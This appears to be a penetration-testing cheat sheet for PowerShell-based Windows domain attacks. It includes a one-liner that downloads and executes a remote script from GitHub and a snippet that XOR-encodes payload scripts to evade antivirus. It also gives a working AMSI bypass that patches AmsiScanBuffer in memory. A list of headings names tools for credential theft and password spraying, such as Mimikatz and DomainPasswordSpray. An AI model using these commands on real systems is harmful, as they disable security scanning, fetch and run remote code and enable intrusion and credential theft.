Powershell / PowerView

Sometimes your stuck with the tools in front of you and no linux etc

No AV

PowerUp / swap out with other scripts via shell

powershell -c "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/jdksec/RemoteTools/master/Invoke-PowerUp.ps1'); invoke-sharefinder -checkshareaccess"

XOR Encode powershell payload

$file=([Text.Encoding]::UTF8.GetBytes([IO.File]::ReadAllText(".\Get-GPPPassword.ps1"))| %{$_ -bXor0x11})
[io.file]::WriteAllBytes('.\Get-GPPPassword.txt',$file)

Bypass AMSI

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Import AD Recon

Import PowerView

Import DomainPasswordSpray

Import Get-GPPPassword

Import Sherlock

Import PowerUp

Import Sharphound

Import Mimikatz

Import PowershellTCP

Download Rubeus.exe

Install python from the windows store as a low priv user

Recon all computers in domain

Get list of all dns hostnames in domain

Count number of lines in file

Find interesting shares

Split csv to hostnames

Sort hostnames so they are unique

Get live IP addresses

Remove all external addresses

Last updated